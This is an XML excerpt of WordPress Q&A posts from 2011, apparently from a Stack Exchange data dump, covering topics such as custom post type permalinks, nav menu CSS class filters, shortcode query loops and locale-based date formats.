  <row Id="20096" PostTypeId="2" ParentId="20084" CreationDate="2011-06-15T16:25:34.483" Score="2" ViewCount="" Body="&lt;p&gt;Short answer : YES.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Long answer: yes it possible but you will need to create your own form and form processing script to send the values by main and the use the &lt;a href=&quot;https://labs.aweber.com/docs/php-library-walkthrough&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Aweber api&lt;/strong&gt;&lt;/a&gt; to register the new user in your list.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just to get you started, you will need: &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;An Aweber A free developer account. Don't have one yet? &lt;a href=&quot;https://labs.aweber.com/users/new&quot; rel=&quot;nofollow&quot;&gt;Sign up here&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;An app created in your labs account. (Have your keys handy)&lt;/li&gt;&#xA;&lt;li&gt;A copy of the &lt;a href=&quot;https://github.com/aweber/AWeber-API-PHP-Library&quot; rel=&quot;nofollow&quot;&gt;AWeber API PHP Library&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-06-15T16:25:34.483" />
  <row Id="20097" PostTypeId="2" ParentId="20088" CreationDate="2011-06-15T16:27:35.780" Score="3" ViewCount="" Body="&lt;p&gt;Every thing you need is covered in the codex &lt;a href=&quot;http://codex.wordpress.org/Moving_WordPress&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Moving WordPress&lt;/strong&gt;&lt;/a&gt; entry.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-06-15T16:27:35.780" CommentCount="2" />
  <row Id="20098" PostTypeId="2" ParentId="20078" CreationDate="2011-06-15T16:28:12.970" Score="1" ViewCount="" Body="&lt;p&gt;They are all in your &lt;code&gt;{wpdb-&amp;gt;prefix}_terms&lt;/code&gt; table and therefore need to be unique. Else you could only get them via ID.&lt;/p&gt;&#xA;" OwnerUserId="385" LastActivityDate="2011-06-15T16:28:12.970" CommentCount="4" />
  <row Id="20099" PostTypeId="2" ParentId="20077" CreationDate="2011-06-15T16:31:26.917" Score="2" ViewCount="" Body="&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/7NWPn.png&quot; alt=&quot;enter image description here&quot;&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/UsN47.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/heCVm.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you insert a file into a post/page/whatever, you get a &lt;code&gt;&amp;lt;a&amp;gt;&lt;/code&gt;-download link. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/1eMFU.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then you can &lt;a href=&quot;http://speckyboy.com/2009/05/27/22-css-button-styling-tutorials-and-techniques/&quot; rel=&quot;nofollow&quot;&gt;style this link&lt;/a&gt; as you want. Just insert the styles you need into your &lt;code&gt;style.css&lt;/code&gt; file.&lt;/p&gt;&#xA;" OwnerUserId="385" LastEditorUserId="385" LastEditorDisplayName="" LastEditDate="2011-06-15T16:38:30.267" LastActivityDate="2011-06-15T16:38:30.267" />
  <row Id="20100" PostTypeId="2" ParentId="20077" CreationDate="2011-06-15T16:36:47.350" Score="1" ViewCount="" Body="&lt;p&gt;there are a few plugins out there but the one that stands out is &lt;a href=&quot;http://wordpress.org/extend/plugins/download-monitor/&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;WordPress Download Monitor&lt;/strong&gt;&lt;/a&gt; which works great and has many many features, one of them is creating a download button template for easy styling as a shortcode for even easier page/post insertion.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-06-15T16:36:47.350" CommentCount="1" />
  <row Id="20101" PostTypeId="2" ParentId="20077" CreationDate="2011-06-15T16:43:13.790" Score="3" ViewCount="" Body="&lt;p&gt;No need to insert the download into the post as @kaiser says, you can automate:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$download = get_children( 'post_type=attachment&amp;amp;post_mime_type=application/pdf&amp;amp;post_parent='.$post-&amp;gt;ID );&#xA;&#xA;if ($download) {&#xA;    foreach ( $download as $attachment_id =&amp;gt; $attachment ) {&#xA;        echo '&amp;lt;a href=&quot;'.wp_get_attachment_url($attachment_id).'&quot; target=&quot;_blank&quot; class=&quot;download&quot;&amp;gt;Download PDF&amp;lt;/a&amp;gt;';&#xA;    }&#xA;}   &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="6204" LastEditorUserId="6204" LastEditorDisplayName="" LastEditDate="2011-06-15T16:51:02.053" LastActivityDate="2011-06-15T16:51:02.053" CommentCount="2" />
  <row Id="20102" PostTypeId="1" CreationDate="2011-06-15T17:21:01.483" Score="0" ViewCount="105" Body="&lt;p&gt;I have added some extra profile fields with the add_action do_action functions. I have also ajaxed the profile to update without refreshing the page with this script &lt;a href=&quot;http://jquery.malsup.com/form/#getting-started&quot; rel=&quot;nofollow&quot;&gt;http://jquery.malsup.com/form/#getting-started&lt;/a&gt;. The regular fields work fine but the extra profile fields are not updating with ajax. I want to know if anyone can help me with this. Thanks. &lt;/p&gt;&#xA;" OwnerUserId="4777" LastActivityDate="2011-06-15T17:21:01.483" Title="Ajax extra profile fields added with do_action" Tags="&lt;custom-field&gt;&lt;ajax&gt;&lt;profile&gt;" CommentCount="3" FavoriteCount="1" />
  <row Id="20104" PostTypeId="1" AcceptedAnswerId="20111" CreationDate="2011-06-15T18:17:33.053" Score="1" ViewCount="121" Body="&lt;p&gt;Is there anyway to get wordpress to automatically switch locales based on the HTTP Accept-Language header?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Similar to how ASP.NET can do it with their globalization=&quot;auto&quot; config setting. The reason for this is that I want my dates to be custom formatted based on where you are viewing the site from - not what the wordpress site settings use for everybody around the world.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This way somebody from the USA (en-US) will see 12/25/2011 but somebody from Australia (en-AU) will see 25/12/2011.&lt;/p&gt;&#xA;" OwnerUserId="6201" LastEditorUserId="73" LastEditorDisplayName="" LastEditDate="2011-06-16T08:49:04.963" LastActivityDate="2011-06-16T08:49:04.963" Title="Wordpress Locale Switching on Accept-Language Header" Tags="&lt;customization&gt;&lt;date-time&gt;&lt;i18n&gt;" AnswerCount="1" />
  <row Id="20105" PostTypeId="2" ParentId="17408" CreationDate="2011-06-15T18:27:47.077" Score="0" ViewCount="" Body="&lt;p&gt;Your solution is:&#xA;&lt;a href=&quot;http://wordpress.org/extend/plugins/query-multiple-taxonomies/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/query-multiple-taxonomies/&lt;/a&gt;&#xA;It has dropdown filter solution.&lt;/p&gt;&#xA;" OwnerUserId="1372" LastActivityDate="2011-06-15T18:27:47.077" />
  <row Id="20106" PostTypeId="1" CreationDate="2011-06-15T18:34:25.487" Score="1" ViewCount="91" Body="&lt;p&gt;Well I have asked this question in WP Forums, StackOverflow, and GoDaddy community as well, but nothing worked out. Hoping something is in here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I used 2 separated subdomains for my blog and site (2separate SQL database). But not I cudn't maintain separately so trying to merge them into a single WP driven site. If I do that, I will end up with limitation of max 1GB SQL DB set by GoDaddy (and I can't purchase dedicated solutions for this).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is a way out to split a single DB into 2, or use more than 1 DB for WP. So, asking for you genius guys to help me out.&lt;/p&gt;&#xA;" OwnerUserId="6220" LastActivityDate="2011-06-15T19:29:34.523" Title="what to do when your WordPress database is too large?" Tags="&lt;database&gt;&lt;mysql&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="20107" PostTypeId="1" AcceptedAnswerId="20108" CreationDate="2011-06-15T14:41:59.363" Score="0" ViewCount="58" Body="&lt;p&gt;All I understand about RTL is that some languages are written right-to-left.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In a WordPress theme, what role does the &lt;code&gt;rtl.css&lt;/code&gt; stylesheet have? I was under the impression that the only difference was paragraph alignment, but the WordPress themes that I have seen have massive &lt;code&gt;rtl.css&lt;/code&gt; files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What other requirements are there of CSS to provide true RTL support?&lt;/p&gt;&#xA;" OwnerUserId="5754" LastActivityDate="2011-06-15T18:42:58.010" Title="RTL Stylesheet Confusion with WordPress" Tags="&lt;php&gt;&lt;css&gt;" AnswerCount="2" CommentCount="1" />
  <row Id="20108" PostTypeId="2" ParentId="20107" CreationDate="2011-06-15T14:44:55.727" Score="1" ViewCount="" Body="&lt;p&gt;This guy explains it fairly well for wordpress (video, no transcript): &lt;a href=&quot;http://wordpress.tv/2010/05/01/yoav-farhi-right-to-left-themes-sf10/&quot; rel=&quot;nofollow&quot;&gt;Yoav Farhi: Right to Left WordPress&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Wordpress Manual (Codex) has as well some information regarding &lt;a href=&quot;http://codex.wordpress.org/Right_to_Left_Language_Support&quot; rel=&quot;nofollow&quot;&gt;Right to Left Language Support&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="178" LastActivityDate="2011-06-15T15:36:30.107" CommentCount="1" />
  <row Id="20109" PostTypeId="2" ParentId="20107" CreationDate="2011-06-15T14:47:23.480" Score="1" ViewCount="" Body="&lt;p&gt;See the docs &lt;a href=&quot;http://codex.wordpress.org/Right_to_Left_Language_Support&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Right_to_Left_Language_Support&lt;/a&gt; and &lt;a href=&quot;http://wordpress.org/extend/themes/tags/rtl-language-support&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/themes/tags/rtl-language-support&lt;/a&gt; for examples.&lt;/p&gt;&#xA;" OwnerUserId="268" LastActivityDate="2011-06-15T14:47:23.480" />
  <row Id="20110" PostTypeId="1" CreationDate="2011-06-15T19:23:52.830" Score="3" ViewCount="280" Body="&lt;p&gt;I have a custom post type in my wordpress theme. I want to add a custom class to the nav menu for the pages created in that custom post type. I read that you can use a filter hook: &quot;nav_menu_css_class&quot;, but my php chops are pretty limited. How do I set up that filter hook to apply only to my custom post type pages in the nav menu and give them a custom class?&lt;/p&gt;&#xA;" OwnerUserId="6222" LastActivityDate="2011-06-15T20:37:15.770" Title="add custom class to wp_nav_menu using filter hook nav_menu_css_class" Tags="&lt;custom-menus&gt;" AnswerCount="1" FavoriteCount="3" />
  <row Id="20111" PostTypeId="2" ParentId="20104" CreationDate="2011-06-15T19:26:24.683" Score="1" ViewCount="" Body="&lt;p&gt;that's going to be a bit tricky since WordPress doesn't relate date and time format to language. so to get the current language from the browser you can use &lt;code&gt;$_SERVER['HTTP_ACCEPT_LANGUAGE']&lt;/code&gt; and then based on that you can change the date format:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function update_date_format(){&#xA;    $lang = substr($_SERVER['HTTP_ACCEPT_LANGUAGE'], 0, 2);&#xA;    if (strpos($lang, 'au') &amp;gt; 0){&#xA;        $date_format = 'd/m/Y'; // 25/12/2011&#xA;    }else{&#xA;        $date_format = 'm/d/Y'; // 12/25/2011&#xA;    }&#xA;    update_option('date_format',$date_format);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;after you paste this function in your theme's functions.php add to your theme's header.php  at the very top:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php update_date_format(); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2487" LastEditorUserId="2487" LastEditorDisplayName="" LastEditDate="2011-06-15T21:20:09.363" LastActivityDate="2011-06-15T21:20:09.363" />
  <row Id="20112" PostTypeId="2" ParentId="20106" CreationDate="2011-06-15T19:29:34.523" Score="4" ViewCount="" Body="&lt;p&gt;Not 100% sure how your DB could get that big. Have you gone through and cleaned out post revisions, old rows in the wp_options table from old plugins, etc?&lt;/p&gt;&#xA;" OwnerUserId="403" LastActivityDate="2011-06-15T19:29:34.523" CommentCount="2" />
  <row Id="20113" PostTypeId="2" ParentId="20075" CreationDate="2011-06-15T19:43:20.750" Score="2" ViewCount="" Body="&lt;p&gt;You can stick &lt;a href=&quot;https://graph.facebook.com/&quot; rel=&quot;nofollow&quot;&gt;https://graph.facebook.com/&lt;/a&gt; in front of any URL to see how many people liked it. It returns a JSON object with the URL and the number of &quot;shares&quot; for the URL.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note: An OAuth token is &lt;em&gt;not&lt;/em&gt; required to do this. You don't even have to be logged into Facebook.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example: &lt;a href=&quot;https://graph.facebook.com/http://ottopress.com/2011/photo-gallery-primer/&quot; rel=&quot;nofollow&quot;&gt;https://graph.facebook.com/http://ottopress.com/2011/photo-gallery-primer/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Over time, you can poll those, store the info as meta data, and then order by it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Related question: &lt;a href=&quot;http://wordpress.stackexchange.com/questions/7010/top-3-posts-in-last-week-ordered-by-facebook-and-twitter-share-counts&quot;&gt;Top 3 posts in last week ordered by Facebook and Twitter share counts&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2232" LastActivityDate="2011-06-15T19:43:20.750" CommentCount="1" />
  <row Id="20114" PostTypeId="2" ParentId="20050" CreationDate="2011-06-15T19:55:16.690" Score="2" ViewCount="" Body="&lt;p&gt;Dunno if you have images in your feed, but those could be sucking up a bit of space: &lt;a href=&quot;http://wordpress.stackexchange.com/questions/15900/reducing-image-size-in-rss-only/15909#15909&quot;&gt;Reducing image size in RSS only&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here are the basics for setting WP to use a custom feed template: &lt;a href=&quot;http://www.456bereastreet.com/archive/201103/controlling_and_customising_rss_feeds_in_wordpress/&quot; rel=&quot;nofollow&quot;&gt;http://www.456bereastreet.com/archive/201103/controlling_and_customising_rss_feeds_in_wordpress/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here are some tips in authoring the template itself: &lt;a href=&quot;http://digwp.com/2009/09/easy-custom-feeds-in-wordpress/&quot; rel=&quot;nofollow&quot;&gt;http://digwp.com/2009/09/easy-custom-feeds-in-wordpress/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for your looping, try something like this for your &quot;full&quot; 75 most recent posts (inside your RSS structure of course):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;query_posts('showposts=75');&#xA;$ids = array();&#xA;while (have_posts()) : the_post();&#xA;$ids[] = get_the_ID();&#xA;the_title();&#xA;the_content();&#xA;endwhile;&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Once that’s done, get all the rest, with just truncated info:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;query_posts(array('post__not_in' =&amp;gt; $ids));&#xA;while (have_posts()) : the_post();&#xA;the_title();&#xA;the_excerpt();&#xA;endwhile;&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4258" LastActivityDate="2011-06-15T19:55:16.690" />
  <row Id="20115" PostTypeId="1" CreationDate="2011-06-15T19:57:58.427" Score="1" ViewCount="94" Body="&lt;p&gt;I have 2 pages.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/client-a/&#xA;/client-b/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have a custom post type, called &quot;case&quot;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$case_type = array(&#xA;    'labels' =&amp;gt; $case_labels,&#xA;    'public' =&amp;gt; true,&#xA;    'publicly_queryable' =&amp;gt; true,&#xA;    'show_ui' =&amp;gt; true,&#xA;    'query_var' =&amp;gt; 'case',&#xA;    'rewrite' =&amp;gt; array( 'slug' =&amp;gt; 'cases', 'with_front' =&amp;gt; false ),&#xA;    'capability_type' =&amp;gt; 'post',&#xA;    'hierarchical' =&amp;gt; false,&#xA;    'menu_position' =&amp;gt; 46,&#xA;    'has_archive' =&amp;gt; true,&#xA;    'supports' =&amp;gt; array('title','editor'),&#xA;); &#xA;register_post_type( 'case' , $case_type );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And finally I have a custom taxonomy, called &quot;type&quot;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;register_taxonomy('type',array('case'),array(&#xA;    'public' =&amp;gt; TRUE,&#xA;    'show_tagcloud' =&amp;gt; FALSE,&#xA;    'hierarchical' =&amp;gt; TRUE,&#xA;    'labels' =&amp;gt; $categoria_labels,&#xA;    'show_ui' =&amp;gt; TRUE,&#xA;    'query_var' =&amp;gt; TRUE,&#xA;    'rewrite' =&amp;gt; array( 'slug' =&amp;gt; 'genre', 'with_front' =&amp;gt; false )&#xA;))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;All my types has the same name of my pages: client-a, client-b.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I rewrite the permalink rules to accecpt this structure:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;client-a/ --&amp;gt; page, lists all 'cases', uses a template&#xA;client-a/subpage --&amp;gt; this is a subpage&#xA;&#xA;client-a/cases/case-a.html --&amp;gt; this is a custom post type WITH the genre &quot;client-a&quot;&#xA;client-b/cases/case-b.html --&amp;gt; this is a custom post type WITH the genre &quot;client-b&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What is the best approach for this structure? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Whem I'm using this solution: &#xA;&lt;a href=&quot;http://xplus3.net/2010/05/20/wp3-custom-post-type-permalinks/comment-page-1/#comment-1005&quot; rel=&quot;nofollow&quot;&gt;http://xplus3.net/2010/05/20/wp3-custom-post-type-permalinks/comment-page-1/#comment-1005&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I get my permalinks working for custom post types and custom taxonomy, but breaks all my pages permalinks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="6223" LastEditorUserId="6223" LastEditorDisplayName="" LastEditDate="2011-06-16T20:08:54.617" LastActivityDate="2011-06-16T20:08:54.617" Title="custom post type and custom taxonomy permalink" Tags="&lt;custom-post-types&gt;&lt;custom-taxonomy&gt;&lt;permalinks&gt;" CommentCount="2" FavoriteCount="1" />
  <row Id="20116" PostTypeId="1" AcceptedAnswerId="20199" CreationDate="2011-06-15T20:08:16.850" Score="1" ViewCount="70" Body="&lt;p&gt;I'm trying to determine if a piece of content can be edited by a user. I would like all roles contributor and above to be authorized by a single check. Here's my code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    if( empty( $post_id ) || !current_user_can('edit_post', $post_id) ) { return; }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Unfortunately, the only users that don't get the &lt;code&gt;return&lt;/code&gt; are super admins. Any idea why?&lt;/p&gt;&#xA;" OwnerUserId="1860" LastActivityDate="2011-06-16T18:13:55.770" Title="Why does this check to see if user is authorized to edit a post fail for all but super admins?" Tags="&lt;roles&gt;&lt;authorization&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="1" />
  <row Id="20117" PostTypeId="2" ParentId="20110" CreationDate="2011-06-15T20:37:15.770" Score="3" ViewCount="" Body="&lt;p&gt;here is a simply example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter('nav_menu_css_class', 'auto_custom_type_class', 10, 2 );&#xA;function auto_custom_type_class($classes, $item) {&#xA;&#xA;    if ($item-&amp;gt;type_label == &quot;CUSTOM_TYPE_NAME&quot;){&#xA;        $classes[] = &quot;New_Class&quot;;&#xA;    }&#xA;&#xA;    return $classes;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;just change &lt;code&gt;CUSTOM_TYPE_NAME&lt;/code&gt; to the name of your custom post type and &lt;code&gt;New_Class&lt;/code&gt; with the name of your class and paste this snippet in your theme's functions.php file.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-06-15T20:37:15.770" CommentCount="7" />
  <row Id="20118" PostTypeId="1" AcceptedAnswerId="20909" CreationDate="2011-06-15T21:23:46.467" Score="0" ViewCount="198" Body="&lt;p&gt;I want to ban people or limit registering on unique national ID (You can think it as 11 digit number). Is there any plugin or a code snippet you know? Site will based on MultiSite + BuddyPress.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update:&lt;/strong&gt; I am not looking for IP ban. You can think it like phone number.. And every user must have 1 unique phone number and i need to ban that phone number if need.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(Sorry for bad english)&lt;/p&gt;&#xA;" OwnerUserId="1372" LastEditorUserId="1372" LastEditorDisplayName="" LastEditDate="2011-06-19T01:20:40.473" LastActivityDate="2011-06-24T00:47:09.663" Title="Using a number for limiting registering or banning on multisite" Tags="&lt;multisite&gt;&lt;users&gt;&lt;register&gt;" AnswerCount="5" CommentCount="8" FavoriteCount="0" />
  <row Id="20119" PostTypeId="1" AcceptedAnswerId="20120" CreationDate="2011-06-15T21:25:39.727" Score="0" ViewCount="31" Body="&lt;p&gt;I have a function to display the children of the page in the sidebar php file using wp_list_pages:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;global $post; ?&amp;gt;&#xA;        &amp;lt;div id=&quot;subChildren&quot;&amp;gt;&#xA;        &amp;lt;?php if($post-&amp;gt;post_parent)&#xA;        $children = wp_list_pages(&quot;sort_column=menu_order&amp;amp;title_li=&amp;amp;child_of=&quot;.$post-&amp;gt;post_parent.&quot;&amp;amp;echo=0&quot;); else&#xA;        $children = wp_list_pages(&quot;sort_column=menu_order&amp;amp;title_li=&amp;amp;child_of=&quot;.$post-&amp;gt;ID.&quot;&amp;amp;echo=0&quot;);&#xA;        if ($children) { ?&amp;gt;&#xA;        &#xA;        &amp;lt;ul id=&quot;submenu&quot;&amp;gt;&#xA;        &amp;lt;?php echo $children; ?&amp;gt;&#xA;         &#xA;        &amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have also created a shortcode that shows a custom post type using query posts:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function casestudy_shortcode()&#xA;    {&#xA;    extract(shortcode_atts(array(&#xA;            'type' =&amp;gt; 'case_studies',&#xA;            'limit' =&amp;gt; '1',&#xA;            'case' =&amp;gt; '',&#xA;            'size' =&amp;gt; 'small'&#xA;            ),$atts));&#xA;     &#xA;            //The Query&#xA;        query_posts('post_type='.$type.'&amp;amp;showposts='.$limit.'&amp;amp;p='.$case);&#xA;&#xA;        //The Loop&#xA;       if ( have_posts() ) : while ( have_posts() ) : the_post();&#xA;                   //return sb_post_image('100','100');&#xA;                //the_post_thumbnail('portfolio'); &#xA;                return  &quot;&amp;lt;div class='&quot;.$size.&quot;'&amp;gt;&amp;lt;a href=\&quot;&quot;.get_permalink().&quot;\&quot;&amp;gt;&quot;.get_the_title().&quot;&amp;lt;/a&amp;gt;&quot; . get_the_excerpt() .&quot;&amp;lt;/div&amp;gt;&quot;;;&#xA;      &#xA;        endwhile; else:&#xA;    endif;&#xA;     &#xA;        wp_reset_query();    &#xA;        &#xA;    }&#xA;    add_shortcode('casestudy', 'casestudy_shortcode');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The problem I have is that when the shortcode is in a page it makes the sub pages not show up. I assume it is overriding the $post variable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried using wp_query and get_posts for the shortcode but i get the same result.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way around this?&lt;/p&gt;&#xA;" OwnerUserId="6224" LastEditorUserId="2487" LastEditorDisplayName="" LastEditDate="2011-06-15T22:02:21.480" LastActivityDate="2011-06-15T22:14:29.217" Title="post var problem with shortcode loop" Tags="&lt;query-posts&gt;&lt;shortcode&gt;" AnswerCount="1" />
  <row Id="20120" PostTypeId="2" ParentId="20119" CreationDate="2011-06-15T22:14:29.217" Score="1" ViewCount="" Body="&lt;p&gt;you really shouldn't use &lt;code&gt;query_posts()&lt;/code&gt; for anything other then the main query of the page. Instead you should use &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/WP_Query&quot; rel=&quot;nofollow&quot;&gt;wp_query()&lt;/a&gt; or &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/get_posts&quot; rel=&quot;nofollow&quot;&gt;get_posts()&lt;/a&gt; , also since you return a value before running wp_reset_query() then its never actually being reset.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;so change your shortcode to this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function casestudy_shortcode($atts){&#xA;    extract(shortcode_atts(array(&#xA;            'type' =&amp;gt; 'case_studies',&#xA;            'limit' =&amp;gt; '1',&#xA;            'case' =&amp;gt; '',&#xA;            'size' =&amp;gt; 'small'&#xA;            ),$atts));&#xA;&#xA;    //save the real $post&#xA;    global $post; &#xA;    $real = $post;&#xA;&#xA;    //The Query&#xA;    $args = array(&#xA;        'post_type' =&amp;gt; $type,&#xA;        'posts_per_page' =&amp;gt; $limit);&#xA;    if ($case != ''){&#xA;        $args['p'] = $case;&#xA;    }&#xA;&#xA;    $s_query = NEW WP_Query($args);&#xA;&#xA;&#xA;    //The Loop&#xA;    if ( $s_query-&amp;gt;have_posts() ) : while ( $s_query-&amp;gt;have_posts() ) : $s_query-&amp;gt;the_post();&#xA;        //return sb_post_image('100','100');&#xA;        //the_post_thumbnail('portfolio'); &#xA;        $return .= &quot;&amp;lt;div class='&quot;.$size.&quot;'&amp;gt;&amp;lt;a href=\&quot;&quot;.get_permalink().&quot;\&quot;&amp;gt;&quot;.get_the_title().&quot;&amp;lt;/a&amp;gt;&quot; . get_the_excerpt() .&quot;&amp;lt;/div&amp;gt;&quot;;&#xA;    endwhile; else:&#xA;    endif;&#xA;     $post = $real;&#xA;        wp_reset_query();    &#xA;        return $return;&#xA;&#xA;}&#xA;    add_shortcode('casestudy', 'casestudy_shortcode');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-06-15T22:14:29.217" CommentCount="1" />
  <row Id="20121" PostTypeId="1" AcceptedAnswerId="20126" CreationDate="2011-06-15T22:26:47.063" Score="0" ViewCount="30" Body="&lt;p&gt;I'm trying to add a metabox to select a sidebar per page. In order to create the metaboxes I use &lt;a href=&quot;http://www.deluxeblogtips.com/p/meta-box-script-for-wordpress.html&quot; rel=&quot;nofollow&quot;&gt;this class&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The construction is fairly easy:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$meta_boxes[] = array(&#xA;    'id' =&amp;gt; 'sidebars_side',&#xA;    'title' =&amp;gt; 'Page Sidebar',&#xA;    'pages' =&amp;gt; array('page', 'post'),&#xA;    'context' =&amp;gt; 'side',&#xA;    'priority' =&amp;gt; 'low',&#xA;&#xA;    'fields' =&amp;gt; array(&#xA;        array(&#xA;            'name' =&amp;gt; 'Sidebars',&#xA;            'id' =&amp;gt; 'tst_sidebars',&#xA;            'type' =&amp;gt; 'select',&#xA;            'options' =&amp;gt; array(                      &#xA;                ARRAY OF SIDEBARS GOES HERE&#xA;&#xA;            ),&#xA;            'multiple' =&amp;gt; false,&#xA;&#xA;        )&#xA;    )&#xA;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But I can't for the love of God to construct the array properly. I checked &lt;a href=&quot;http://wordpress.stackexchange.com/questions/13450/list-all-sidebar-names&quot;&gt;this post&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;which is great, but I'm stuck somehow. Any help would be highly appreciated. &lt;/p&gt;&#xA;" OwnerUserId="6155" LastActivityDate="2011-06-15T23:28:10.683" Title="List all sidebars in metabox" Tags="&lt;metabox&gt;&lt;sidebar&gt;" AnswerCount="1" FavoriteCount="2" />
